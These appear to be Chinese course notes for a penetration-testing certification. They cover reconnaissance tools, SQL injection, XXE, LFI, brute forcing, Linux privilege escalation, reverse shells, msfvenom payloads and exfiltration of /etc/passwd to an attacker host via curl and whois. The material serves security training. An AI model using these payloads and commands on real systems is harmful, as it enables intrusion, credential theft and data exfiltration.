Try   HackMD

112年資安職能課程教育體系場次上課筆記整理,僅供參考!
教材版本:112年6月2版
教材內各項連結整理及堪誤

滲透測試

  • 定義:透過模擬攻擊者的角度嘗試入侵受測標的如網站、資通系統、硬體設備或應用程式等目標,獲取受測標的之權限並找出各種潛在的漏洞,以此測試來評估受測標的之安全性並提供修補建議
  • 必要條件:執行前須簽訂授權同意書,取得合法測試授權,以免觸法。
  • 目的:
    • 找到所有的弱點
    • 評估與驗證受測標的之安全性
  • 標準

    Comparative analysis of OSSTMM v3 and OWASP 4.0

    • OWASP
    • OSSTMM (Open Source Security Testing Methodology Manual)
    • CWE (Common Weakness Enumeration)
    • (補充) NIST SP 800-115
  • 流程
    • 與執行廠商確認專案
      • NDA 保密條款
    • 執行
      • 資訊蒐集
      • 主機掃描
      • 弱點利用
      • 提升權限
      • 維持存取權限
      • 整理漏同與撰寫報告
    • 專案總結
      • 提交測試結果報告
      • 提供修補建議與技術諮詢
      • 複測
  • 滲透思路:
    • black box > gray box > white box
    • 學習的過程中,把弱點需要的條件、有可能的攻擊路徑及有哪些招式流程化
    • 盡可能的做enumeration,把收集到的資訊整理,常常會有意外的發現
  • 能力需求
    • 程式開發
    • 網路
  • 與弱點掃描的差異
    • 弱點掃描:自動化掃描工具 (權限控管邏輯不是自動化工具可以檢測得出來的)
    • 滲透測試:人工檢測
  • 與紅隊演練(Red Team Assessment)的差異 (資安職能考題)
    • 紅隊演練:全面性找出組織防禦面不足的途徑,除了要找出弱點,常須具備有效利用弱點。(技術要求比滲透測試高很多)
    • 滲透測試:只需要證明有弱點即可

資料蒐集

網路、主機及網站掃描

主動式蒐集或掃描:直接接觸目標

Server Discovery 工具

  • nmap
  • masscan
    • Mass IP port scanner
    • 號稱最快的網路埠掃描器
    • 可與 nmap 互相搭配使用
    ​​​​# 全埠掃描,針對單一IP
    ​​​​sudo masscan 8.8.8.8 -p1-65535 --rate 20000 -oX result.xml
    ​​​​# 全埠掃描,透過IP清單
    ​​​​sudo masscan -iL ip.txt -p1-65535 --rate 20000 -oX result.xml
    
  • (補充)RustScan
    ​​​​# Kali安裝指令
    ​​​​# 參考 https://github.com/RustScan/RustScan/wiki/Installation-Guide#%EF%B8%8F-debian--kali
    ​​​​wget https://github.com/RustScan/RustScan/releases/download/2.4.1/rustscan_2.4.1_amd64.deb
    ​​​​sudo dpkg -i rustscan_2.4.1_amd64.deb
    
  • (補充)naabu

Content Discovery 工具

  • ffuf
    • Ffuf爆破神器
    • FFUF Cheat Sheet
    • 使用時機:如待測目標範圍很大,可搭配ffuf等工具去針對弱點去快速挑選有問題的主機。
    • 利用http status code判斷目標狀態
    • 參數
      • -w:設定字典檔
      • -c:替文字上色
      • -u:設定目標網址
      • -recursion-depth 2:往資料夾下層遞迴尋找的深度
      • -ic:忽略字典檔的註解
      • -fc 403:不呈現http response code為403的結果 (f開頭是filter過濾的意思)
      • -mc 200:只呈現http response code為200的結果 (f開頭是matcher比對的意思)
    • 利用FUZZ取代字典檔找到的字串去做嘗試或測試
    • 常用字典檔的目錄 /usr/share/seclists/Discovery/

    seclists字典檔」需先安裝: sudo apt install seclists

    ​​​​ffuf -u http://FUZZ/icons/ -w /usr/share/wordlists/dirb/common.txt -c
    ​​​​#測試網站程式檔名
    ​​​​ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://testphp.vulnweb.com/FUZZ -e .txt
    ​​​​#測試網站程式種類語法
    ​​​​ffuf -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -u http://testphp.vulnweb.com/indexFUZZ
    
  • gobuster
    • 使用時機:
    • 用來查找隱藏在網站下的目錄、管理頁面、機敏資料或有漏洞的進入點
    • 提供的mode
      • dir - the classic directory brute-forcing mode (資安職能考題)
      • dns - DNS subdomain brute-forcing mode
      • s3 - Enumerate open S3 buckets and look for existence and bucket listings
      • gcs - Enumerate open google cloud buckets
      • vhost - virtual host brute-forcing mode (not the same as DNS!)
      • fuzz - some basic fuzzing, replaces the FUZZ keyword
      • tftp - bruteforce tftp files
    • 參數
      • -w:指定字典檔 (資安職能考題)
      • -x:指定副檔名
      • -u:設定目標網址
      • -k:略過憑證確認
      • -r:轉址跟隨
    • 列出查詢到的目錄與http status code供測試人員判斷
    ​​​​# 目錄查找
    ​​​​gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg,jsp,zip" -u http://127.0.0.1:61389
    ​​​​# 找Virtual Host
    ​​​​gobuster vhost -u http://domain.com/ -w /usr/share/wordlist/dirb/common.txt
    
    image
  • wfuzz
    • 使用時機:待測目標是一整個網段,且需要在短時間內快速查找時使用。
    • 網站目錄掃描工具、subdomain掃描工具
    • 與ffuf類似屬於content discovery工具
    • (補充) 資安院攻防課程補充資料
    • 利用http status code來判斷目標狀態
    ​​​​wfuzz --hc 614 -c -w subdomains-top1mil-5000.txt -H "HOST:FUZZ.domain.com" http://IP
    ​​​​wfuzz -c -w common.txt --sc 200 -u "http://10.10.10.191/FUZZ.txt" -t 100
    ​​​​wfuzz -z file,big.txt -d "breed=FUZZ" -u http://shibes.xyz/api.php
    
  • cewl
    • 網站Email擷取工具
    • 字典檔產生工具 (從網站自動爬出關鍵字)
  • [補充] dirb
    ​​​​dirb http://192.168.0.1/
    ​​​​dirb http://192.168.0.1/ -X .aspx
    
    image
  • [補充] dirsearch
    ​​​​dirsearch -u "http://192.168.0.1/" -e aspx
    ​​​​dirsearch -u "http://192.168.0.1/" -e asp,aspx,txt
    
    image
  • [補充] feroxbuster
    image
  • [書籍補充] 你的網站非常危險 - Web安全攻防滲透駭客現場直播

[補充] 網站環境特徵檢查 Fingerprint

Fingerprint (有人翻譯為「指紋識別工具」,課本未著墨的地方)

弱點利用

https://hackmd.io/@YuTingKung/HybuFMGGF
https://systw.net/note/archives/259

  • SQL Injection

    補充:CEH課文整理表格

    image

    • 原因:使用者在網頁中的參數未經過處理就傳送至資料庫,並且使用者輸入的參數可以被操控,並突破開發人員所做的原始查詢,進行達到更多的惡意行為。
    • 效果:資訊洩漏、伺服器遭受入侵直接被取得控制權。
    • 經典案例:身分鑑別繞過(Authentication bypass)
    • DVWA - SQL Injection示範影片
    • SQL Injection | Complete Guide
    • 種類
      image
      • Blind SQL Injection (盲注入、推論式注入)
        • Boolean-based Blind SQL Injection
          • simply testing the URLs of a target website
          • items.php?id=101
          • items.php?id=101 and 1=0
          • items.php?id=101 and 1=1
        • Time-based Blind SQL Injection:根據資料庫不同,使用的延遲語法也會不同。
          DataBase Command
          MySQL SELECT sleep(10)
          PostgreSQL SELECT pg_sleep(10)
          MSSQL WAITFOR DELAY '0:0:10'
          Oracle dbms_pipe.receive_message(('a'),10)
      • In-band SQL Injection
        • Error-based SQL Injection
          • 透過資料庫回傳的錯誤訊息,來判斷是否存在注入的弱點。
          • 常見的測方法是在注入點增加單引號(')或雙引號(")。
          • Error Based Injection using Extractvalue

            MySQL XML Functions

            ​​​​​​​​​​​​​​​​​​​​# ExtractValue(xml_flag, xpath_expr) 
            ​​​​​​​​​​​​​​​​​​​​# 是使用XPATH語法在XML文件結構中搜尋提取字串的函式
            ​​​​​​​​​​​​​​​​​​​​# 0x開頭是16進制
            ​​​​​​​​​​​​​​​​​​​​# 0x0a是換行(new line),但他不是XPATH語法,故會報錯
            ​​​​​​​​​​​​​​​​​​​​
            ​​​​​​​​​​​​​​​​​​​​# 初步範例
            ​​​​​​​​​​​​​​​​​​​​index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--
            ​​​​​​​​​​​​​​​​​​​​
            ​​​​​​​​​​​​​​​​​​​​# 可以找資料庫名稱
            ​​​​​​​​​​​​​​​​​​​​index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select database())))--
            ​​​​​​​​​​​​​​​​​​​​Output : XPATH syntax error: ' database_name_here'
            ​​​​​​​​​​​​​​​​​​​​
            ​​​​​​​​​​​​​​​​​​​​# information_schema.tables 可以查MySQL所有的table資訊
            ​​​​​​​​​​​​​​​​​​​​# 可以找資料表名稱
            ​​​​​​​​​​​​​​​​​​​​index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
            ​​​​​​​​​​​​​​​​​​​​Output : XPATH syntax error: 'table_name_here'
            
        • Union-based SQL Injection: 限定在查詢語句。
          • use ORDER BY to find the columns and finally uses the UNION ALL SELECT command
          • 測試方式:確認原有的SQL語句有幾個欄位被查詢到
            ​​​​​​​​​​​​​​​​​​​​# 方式一
            ​​​​​​​​​​​​​​​​​​​​' ORDER BY 1--
            ​​​​​​​​​​​​​​​​​​​​' ORDER BY 2--
            ​​​​​​​​​​​​​​​​​​​​' ORDER BY 3--
            ​​​​​​​​​​​​​​​​​​​​# 方式二
            ​​​​​​​​​​​​​​​​​​​​' UNION SELECT NULL--
            ​​​​​​​​​​​​​​​​​​​​' UNION SELECT NULL,NULL--
            ​​​​​​​​​​​​​​​​​​​​' UNION SELECT NULL,NULL,NULL--
            
          • 進一步了解欄位在網頁上呈現的位置 (有些時候要看欄位的資料型別,來決定搭配的型別是字串還是數字)
            ​​​​​​​​​​​​​​​​​​​​' UNION SELCT 1,2,3--
            ​​​​​​​​​​​​​​​​​​​​' UNION SELCT 'A','B','C'--
            
        • Stacked Queries SQL Injection: 利用分號(;)串接SQL語句,可以是任何語句(CRUD)。權限足夠下,甚至可以刪除資料庫、資料表 (有些資料庫不允許)。
          DataBase Limitation
          MySQL PHP - Not Support
          Other - Support
          MSSQL Support
          Oracle Not Support
      • Out-of-band SQL Injection
        • 寫入(上傳)檔案到伺服器
          • '<?php system($_GET["command"]); ?>' INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*
            image
        • 讀取檔案
          • 可搭配MySQL的內建函式 LOAD_FILE 讀取SERVER上有用的檔案內容。
            image
        • 執行命令:
          • MSSQL可透過 xp_cmdshell 命令執行系統指令(可開後門)。
            image
            • Metasploit檢測xp_cmdshell漏洞的方法 [自我補充]
              1. auxiliary/scanner/mssql/mssql_login - 用於尋找有效的SQL Server憑證
              2. auxiliary/admin/mssql/mssql_exec - 使用xp_cmdshell執行命令
              3. auxiliary/admin/mssql/mssql_enum - 枚舉SQL Server信息,包括檢查xp_cmdshell是否啟用
          • MSSQL可透過外部腳本執行系統指令。
            image
        • [補充] Oracle
          • 注入點
            ​​​​​​​​​​​​​​​​​​​​product.php?id=10||UTL_HTTP.request('testerserver.c om:80')||(SELECT user FROM DUAL)--
            
          • 攻擊手可透過netcat tool去監聽資訊
            ​​​​​​​​​​​​​​​​​​​​nc –nLp 80
            
        • 補充
          image
    • [補充] Evasion Technique 規避偵測技巧 (標題項目資料來自CEH教材)
      • In-line Comment:利用行內註解,例如 ?id=1+un/**/ion+se/**/lect+1,2,3--
      • Char Encoding
        image
      • String Concatenation:用字串串接的方式組成SQL指令
        image
      • Obfuscated Code:混淆成難以理解的SQL語句
      • Manipulating White Spaces:利用空白鍵的變化,例如SQL語句字詞之間的空白可以多幾個
      • Hex Encoding:用16進制編碼來表示SQL查詢文字
      • Sophisticated Matches:使用替代的(同義的)語句,例如:將OR 1 = 1改成OR 'john' = 'john'
      • URL Encoding
      • Null Byte:Null byte (%00) character prior to a string to bypass the detection mechanism
      • Case Variation:利用大小寫字母混雜方式
        image
      • Declare Variables:利用自定義變數及變數傳遞的方式,定義特別的SQL語句
        image
      • IP Fragmentation:攻擊者故意分割 IP 封包,將其分散到多個小片段中。
      • Variations: 攻擊者的主要目的是讓 WHERE 語句始終被評估為“真”,以便可以使用任何數學或字串比較,而 SQL 可以執行相同的操作
        image
    • 資安滲透攻防筆記 - SQL Injection
    • CheatSheet
    • 工具使用 SQLmap Usage
      • 語法
        ​​​​​​​​​​​​# 初步偵測
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch
        ​​​​​​​​​​​​# 列出資料庫名稱
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch dbs
        ​​​​​​​​​​​​# 列出個別資料庫裡的資料表
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch -D <db_name> --tables
        ​​​​​​​​​​​​# 列出資料表裡的欄位名稱
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch -D <db_name> -T <table_name> --columns
        ​​​​​​​​​​​​# 取得資料表裡的某幾個欄位的資料內容
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch -D <db_name> -T <table_name> -C <column_name> --dump
        ​​​​​​​​​​​​# 取得個別資料庫裡的內容
        ​​​​​​​​​​​​sqlmap -u "<url>" --batch -D <db_name> --dump-all
        ​​​​​​​​​​​​# 
        ​​​​​​​​​​​​# GET變數的部初,用 sqlmap -u <url>
        ​​​​​​​​​​​​# POST變數的部分,用 sqlmap -r <request_content>
        ​​​​​​​​​​​​# 
        ​​​​​​​​​​​​# 先利用 LocalProxy(如OWZAP、Burpsuite、WebScarab)攔截對有漏洞網頁的Request
        ​​​​​​​​​​​​# 然後將 Request Header 的資料存成文字檔。這個文字檔就是要 Request 的 form 內容。
        ​​​​​​​​​​​​sqlmap -r REQUESTFILE
        ​​​​​​​​​​​​# 範例
        ​​​​​​​​​​​​# -p 'unit' 設定可測試的參數
        ​​​​​​​​​​​​sqlmap -u 'https://xxxxx/qqqq.asp?ounit=&nflg=1&gck=1&years=115&unit=E110&dgr=14&button=%E6%9F%A5%E8%A9%A2' --batch --random-agent --skip-waf -p 'unit' -D 'ntuael' -T 's308_cp_student'  --dump --no-cast
        
        • --technique=TECH..:所使用的SQL injection技術 (若沒設定,預設全部嘗試 "BEUSTQ")
          • B:Boolean-Based Blind SQLi
          • E:Error-Based SQLi
          • U:Union-Based SQLi
          • S:Stacked Queries SQLi
          • T:Time-Based Blind SQLi
          • Q:Inline Queries SQLi
        • --random-agent:隨機變換 User-Agent,偏向於規避偵測
        • --skip-waf:不檢查目標應用是否有 WAF 或其他類型的入侵防禦系統(IPS)(不想浪費時間進行 WAF 檢測,這個參數可以加快掃描過程)
        • --no-cast:不自動嘗試進行類型轉換,而是保持原始數據格式 (在某些情況下,自動類型轉換可能會導致查詢結果不符合預期)
        • --skip-heuristics:不要進行這些啟發式檢測,直接進入更深入的測試階段
        • --force-ssl:強制使用 HTTPS 來發送請求,即使原始的 URL 是通過不安全的 HTTP 協議
        • --common-tables:利用內建字典檔猜
        • --count:先取得筆數
        • --dump:筆數沒有很多,再dump
        • --level:控制測試的深入程度,從 1 到 5,數字越高測試越全面。
          • 3或3以上,會嘗試對Refer注入。
        • --risk:控制測試的風險等級,從 1 到 3,數字越高測試越具有破壞性。
        • --current-user
        • --current-db
        • --is-dba:當前使用者是否有管理許可權
        • --referer:HTTP Referer標頭偽造
        • --os-cmd--os-shell
        • --file-read
        • --tamper:對資料做修改來繞過WAF
        • --identify-waf:網站是否有安全防護進行試探
    • HacksPlaining
    • 注入點 - input / url
      ​​​​​​​​http://testphp.vulnweb.com/artists.php?artist=1 order by 3
      ​​​​​​​​-- order by 4 出錯,代表可以 union 3個欄位
      ​​​​​​​​http://testphp.vulnweb.com/artists.php?artist=1 order by 4 
      ​​​​​​​​-- 1 在畫面上無法顯示
      ​​​​​​​​http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select 1,2,3--
      ​​​​​​​​http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select null,concat(current_user(),'-',database()),version()--
      
      image
      ​​​​​​​​http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select database())))--
      ​​​​​​​​http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select column_name from information_schema.columns where table_name='proof' LIMIT 1,1)))--
      ​​​​​​​​http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select content from proof LIMIT 2,1)))--
      ​​​​​​​​http://127.0.0.1:8042/?id=1 and 0=1 union select id, content from proof limit 2,1
      
      image

      image
  • XXE Injection
    • 在OWASP TOP 10 2021中分類項目,屬於 Security Misconfiguration。
    image

    image
    ​​​​<?xml version="1.0"?>
    ​​​​<!DOCTYPE svg[
    ​​​​<!ENTITY file SYSTEM "file:///root/proof.txt">
    ​​​​]>
    ​​​​<svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm">
    ​​​​    <text x="20" y="350">&file;</text>
    ​​​​</svg>
    
  • 伺服器端請求偽造 (Server-side Request Forgery, SSRF)
    • 誘導伺服器端的應用程式向攻擊者設定的位址發出HTTP Request (利用對外的伺服器去攻擊內網的其他伺服器)
    • 發起的Request是被信任的內部伺服器
    • 在OWASP TOP 2021中已升至第十名
  • LFI/RFI

    資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion
    PHP Remote File Inclusion
    目錄遍歷(Directory traversal)

    • LFI也可能造成以下結果:
      • 機敏資料外洩
      • 跨站腳本攻擊(Cross Site Script)
      • 遠端代碼執行(Remote Code Execution)
    • LFI漏洞樣態
      • 發生在伺服器端的腳本程式中,允許將文件內容作為網站應用程式代碼的一部分。
      • 在沒有適當的過濾與驗證下,可透過替換url參數達到讀取伺服器上的文件與機敏資料。
    • LFI常見繞過方式 (資安職能考試複選題)

      File Upload General Methodology

      • 跳脫目錄: ../../etc/passwd
      • Null Byte截斷../../etc/passwd%00%00為null byte。
      • 編碼(URL Encode)%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
      • 繞過filter: ....//....//etc/passwd
    • RFI概念與LFI相同,只是被include的file來源變從外部引入。
    • LFI/RFI特殊技巧(wrapper)
  • 暴力破解(Brute Force)
    • 不斷嘗試進行密碼驗證的過程,直到成功找出可正確授權的密碼
    • 需要有字典檔
      • Kali Linux內建
        • /usr/share/dirb/wordlists/common.txt
        • /usr/share/wordlists/*
          image
      • 網路上的資源
      • 自製字典檔 (cewl指令工具、crunch指令工具)
        • cewl 指令
          ​​​​​​​​​​​​​​​​# 蒐集網站上的email
          ​​​​​​​​​​​​​​​​cewl -e https://<domain_name>
          ​​​​​​​​​​​​​​​​# 蒐集網站上特定字串
          ​​​​​​​​​​​​​​​​# --lowercase:將所蒐集到的字串轉成小寫
          ​​​​​​​​​​​​​​​​# -m:英文字串的字數,預設為3
          ​​​​​​​​​​​​​​​​# -w:輸出檔案
          ​​​​​​​​​​​​​​​​cewl https://<domain_name> -m 5 --lowercase -w user.txt
          
        • crunch 指令

          Building Unique Wordlists with Crunch

          ​​​​​​​​​​​​​​​​# %: 代表數字
          ​​​​​​​​​​​​​​​​# ^: 代表符號
          ​​​​​​​​​​​​​​​​# @: 代表小寫英文
          ​​​​​​​​​​​​​​​​# ,: 代表大寫英文
          ​​​​​​​​​​​​​​​​crunch <min_length> <max_length> [options]
          ​​​​​​​​​​​​​​​​crunch 4 4 -t %%%% -o output1.txt
          ​​​​​​​​​​​​​​​​crunch 4 4 1234 -t @@@@ -o output2.txt
          ​​​​​​​​​​​​​​​​
          ​​​​​​​​​​​​​​​​# 案例:abc45數字1碼
          ​​​​​​​​​​​​​​​​crunch 6 6 -t abc45% -o pass1.txt
          
          ​​​​​​​​​​​​​​​​# 案例:abc數字3碼
          ​​​​​​​​​​​​​​​​crunch 6 6 -t abc%%% -o pass11.txt
          
          ​​​​​​​​​​​​​​​​# 案例:P@ssw數字1碼rd 
          ​​​​​​​​​​​​​​​​crunch 8 8 -t P^ssw%rd -o pass22.txt
          
          ​​​​​​​​​​​​​​​​# 案例:taccst英文小寫1碼+數字1碼
          ​​​​​​​​​​​​​​​​crunch 8 8 -t taccst@% -o pass33.txt
          
          image

          image
    • 暴力破解工具
      • Burpsuite 的 Intruder:如使用免費版本,破解的執行緒會受到限制,會很慢,付費版本則不受限制。
      • OWASP ZAP
        • 免費
        • Proxy工具,可用來分析 HTTP Request 內容 (資安職能考題)。
        • 搭配 Fuzzer 工具可進行暴力破解。
      • hydra (九頭蛇/九頭龍) 指令工具

        Cheatsheet

        ​​​​​​​​​​​​# 帳號和密碼都用字典檔去try
        ​​​​​​​​​​​​hydra -L user.txt -P dictionary.txt ssh://<IP位址>:22 -V -f
        ​​​​​​​​​​​​# 帳號固定,只有密碼用字典檔去try
        ​​​​​​​​​​​​hydra -l <帳號> -P dictionary.txt ssh://<IP位址>:22 -V -f
        ​​​​​​​​​​​​# 密碼固定,只有帳號用字典檔去try
        ​​​​​​​​​​​​hydra -L user.txt -p <密碼> ssh://<IP位址>:22 -V -f
        ​​​​​​​​​​​​# 網頁登入表單破解帳號密碼 - 使用到http-post-form這個模組
        ​​​​​​​​​​​​hydra -U http-post-form
        ​​​​​​​​​​​​# 先找form > 帳號欄位為uid > 密碼欄位為passw > 使用post傳給doLogin
        ​​​​​​​​​​​​hydra -L user.lst -P password.lst demo.testfire.net http-post-form "/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:Login Failed:C=/login.jsp"
        
      • Ncrack:類似 Hydra
      • Medusa:類似Hydra,KaliLinux內建指令工具之一。
      • Brutespray:可以使用nmap產出的掃描結果,對有被掃描到的服務進行暴力破解。
      • NSE Module:為nmap的script module,也可用來嘗試如MSSQL資料庫的暴力破解嘗試。
  • XSS
    image
  • 權限控制失效(Broken Access Control)
  • 任意檔案上傳(File Upload Vulnerabilities):
    • 只擋前端,未在後端伺服器做檔案檢核可透過BurpSuite攔截並繞過。
      image
    • 一句話木馬
  • 危險或過舊的元件

image

提權

  • 透過利用弱點的方式,取得作業系統的存取權後,即可進行評估如何提權。
    • 水平提權
    • 垂直提權
  • 提權的最終目的:
    • 取得最高權限的控制權
    • 後滲透(Post-Exploitation)
    • 橫向移動(Lateral Movement)

Linux系統提權

  • 提權的切入點
    • 不安全的組態設定
    • 高權限的明文密碼存放於機器中
    • 存取權限錯誤
    • 系統存在未修補的kernel提權弱點
    • Credentials dumping
  • 確認權限狀態
    • ls -alh:顯示所在資料夾下完整的檔案及目錄清單(含隱藏檔案)
    • id:查目前的帳號的uid、gid、groups等
    • whoami:查目前帳號名稱
  • 透過不安全的系統檔案權限設定,進行提權
    • /etc/passwd
      • 修改某個user帳號的uid為0後,再切換至該user即可提升為root權限
    • /etc/shadow
    • /etc/group
      • 將一般使用者帳號加入至root群組,一般使用者也可以使用root權限
    • /etc/sudoers
      • 透過sudo指令且不需要密碼即可執行root權限
    • /etc/motd
      • MOTD (Message Of The Day)
      • Linux 系統中常見登入成功後的訊息顯示服務,只要提權的弱點存在,就可以利用此才服務當作一種提權的後門
    • Binary path poisoning:汙染PATH變數
    • crontab
      ​​​​​​​​# 檢查crontab
      ​​​​​​​​crontab -l
      ​​​​​​​​# 修改新增crontab
      ​​​​​​​​crontab -e
      
    • sudo
      ​​​​​​​​sudo -l
      ​​​​​​​​sudo awk 'BEGIN {system("/bin/sh")}'
      
  • Linux for Pentester: Find Privilege Escalation
    • find . -type f -perm 0777 -print
  • Credentials dumping
    • Linux取得明文密碼工具 - Mimipenguin
      • 使用時機:Linux系統有root權限進行橫向移動時
  • Credentials harvesting
    • ~/.ssh/
    • Laravel專案:.env
    • printenv
    • ~/.bash_history
      image
    • log檔和設定檔:/etc/profile
    • hardcode:利用grep指令查找
      ​​​​​​​​grep -i user [filename]
      ​​​​​​​​grep -i pass [filename]
      ​​​​​​​​grep -C 5 "password" [filename] 
      ​​​​​​​​find . -name "*.php" -print0 | xrags -0 grep -i -n "$password"
      
  • 密碼hash值破解
    ​​​​echo "root:$6$znYGr.f4IXYitFOE$qImkWPAh9ms1DvBX2xEKoakBDtp/.Hz3LkZjRlF0tVBLz6yFxLvONk.GqL1NXz8sxuKYLxGTQLAkLNGZx9fBj1:18995:0:99999:7:::" > testfile
    ​​​​john --wordlist=/usr/share/wordlists/wfuzz/others/common_pass.txt testfile
    
    image
  • GTFOBins

    GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
    Linux binary 功能與特性查詢

  • [講義上補充參考連結資料] 其他提權工具參考

Windows 提權

維持存取權限

Reverse Shell

取得Shell是很重要的技能與基本功
(課本)pentestmonkey - Reverse Shell Cheat Sheet
(課本)Internal All The Things - Reverse Shell Cheat Sheet
(課本)Reverse Shell Generator 會被防毒軟體擋掉
Reverse Shell Cheat Sheet 2024: A Hacking Guide

  • 分類
    • 可互動式 (Interactive shell):reverse shell、spawning tty shell
    • 不可互動式 (Non-interactive shell):webshell、blind類型的RCE等 (資安職能考題-複選)
  • 連線至遠端電腦建立反向連結,在遠端電腦操作命令。
  • 參考方式一
    • Linunx 指令 nc 用法
    • 受害方
      ​​​​​​​​nc [攻擊端IP位址] [PORT] -e /bin/bash
      
    • 攻擊方
      ​​​​​​​​nc -lvnp [PORT]
      
  • 參考方式二
    • 受害方
      ​​​​​​​​#!/bin/sh
      ​​​​​​​​uname -snrvm
      ​​​​​​​​rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [攻擊端IP位址] [PORT] >/tmp/f
      
    • 攻擊方
      ​​​​​​​​nc -lvnp [PORT]
      
  • 新增隱藏帳號

取得TTY Shell

  • 當 reverse shell 建立連線後,卻發現shell的使用受到限制。
  • 可利用spawing tty shell來取得更完整的shell。

C2 Server建置

  • 在維持存取權限的階段,攻擊者會嘗試鞏固將已取得控制權的機器連回自己的C2 Server來保持自己對這台機器的連線控制權(Persistence)
  • cobalt strike (商業版)
    • beacon與規避防毒機制很完善。
  • msfvenom
    • 專門產生metasploit payload的工具
    ​​​​# 語法
    ​​​​msfvenom -p <payload_type> 
    ​​​​            LHOST=<listen_ip> 
    ​​​​            LPORT=<listen_port> 
    ​​​​         -f <file_type> > <output_filename>
    ​​​​# Windows payload
    ​​​​msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f exe > shell.exe
    ​​​​msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f exe > reverse.exe
    ​​​​msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f exe > bind.exe
    ​​​​# Linux payload
    ​​​​msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f elf > reverse.elf
    ​​​​msfvenom -p linux/x86/meterpreter/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f elf > shell.elf
    ​​​​# PHP
    ​​​​msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f raw > shell.php
    ​​​​# ASP/ASPX
    ​​​​msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f asp > shell.asp
    ​​​​msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f aspx > shell.aspx
    ​​​​# JSP
    ​​​​msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 
    ​​​​         -f raw > shell.jsp
    
  • metasploit的handler
    • 負責處理接收Client端payload回傳連線的模組
    ​​​​msfconsole
    ​​​​# 第一步驟:使用模組
    ​​​​use exploit/multi/handler
    ​​​​# 第二步驟:設定參數
    ​​​​set lhost <IP>
    ​​​​set lport <PORT>
    ​​​​set payload windows/meterpreter/reverse_tcp
    ​​​​# 第三步驟:開始執行
    ​​​​exploit
    

Port Forwarding

圖文並茂的 ssh tunnel 使用教學
SSH Tunneling (Port Forwarding) 詳解
SSH Tunneling 教學 - Local Port Forwarding, Remote Port Forwarding

  • 不管是inbound或outbound的防火牆政策,只要有開一個可以用的埠(Port),運用Port forwarding就等於全通。
  • 類型
    • Local port forwarding:連到位在防火牆後的服務。
      ssh -L 9090:localhost:8080 <account>@<target_server>
      image

      ssh -L 9090:<target_server>:8080 <account>@<jump_server>
      image
    • Remote port forwarding:透過對外機器,讓其他人能夠連到限縮在內網的服務
      ssh -R 0.0.0.0:9090:localhost:8080 <account>@<external_server>
      image

      ssh -R 0.0.0.0:9090:<target_server>:8080 <account>@<external_server>
      image
    • Dynamic port forwarding:建立一個代理伺服器連到內網的所有服務
      ssh -D 9090 <account>@<internal-machine>
      image

內網滲透工具 - proxychains

隱密的傳送資料

  • 在組織內網中已取得了一些機敏資料後,可透過一些容易穿透防護設備的方式將資料傳送出去
    ​​​​# Attacker server
    ​​​​nc -l -v -p 53 | sed "s/ //g" | base64 -d
    ​​​​# Victim client
    ​​​​whois -h $attackerIP -p 53 `cat /etc/passwd` | base64
    ​​​​# Attacker server
    ​​​​ncat --ssl -vlp 53
    ​​​​# Victim client
    ​​​​curl https://attackerIP:53/ -F 'a=@/etc/passwd' -k
    
  • 透過dns傳送資料參考工具

    (補充) DNS Tunneling

  • 存放後門webshell

C#編譯器

CSHARP REVERSE SHELL
Reverse-Shell-CSharp
Simple_Rev_Shell.cs

  • 有安裝NET Framework的電腦都有csc.exe
    image
  • 利用csc.exe將C#的程式碼編譯成需要的reverse shell或惡意工具來繞過防毒軟體。
    ​​​​<path>\csc.exe -out output.exe code.cs
    

整理漏洞與撰寫報告

(補充)資料庫列舉

官方文件參照
可能搭配union語法使用,將資料渲染到頁面上。

SQL語法與SQLMAP工具對照表

SQL語法 SQLMAP指令工具
列舉資料庫 select schema_name
from information_schema.schemata;

SELECT DISTINCT owner
FROM all_tables;
sqlmap -u "攻擊目標網址" --batch dbs
列出個別資料庫裡的資料表 select table_name
from information_schema.tables
where table_schema='資料庫名稱';

SELECT TABLE_NAME
FROM ALL_TABLES
WHERE OWNER='資料庫名稱';
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 --tables
列出資料表裡的欄位名稱 select column_name
from information_schema.columns
where table_schema='資料庫名稱' and table_name='資料表名稱';

SELECT COLUMN_NAME
FROM ALL_TAB_COLUMNS
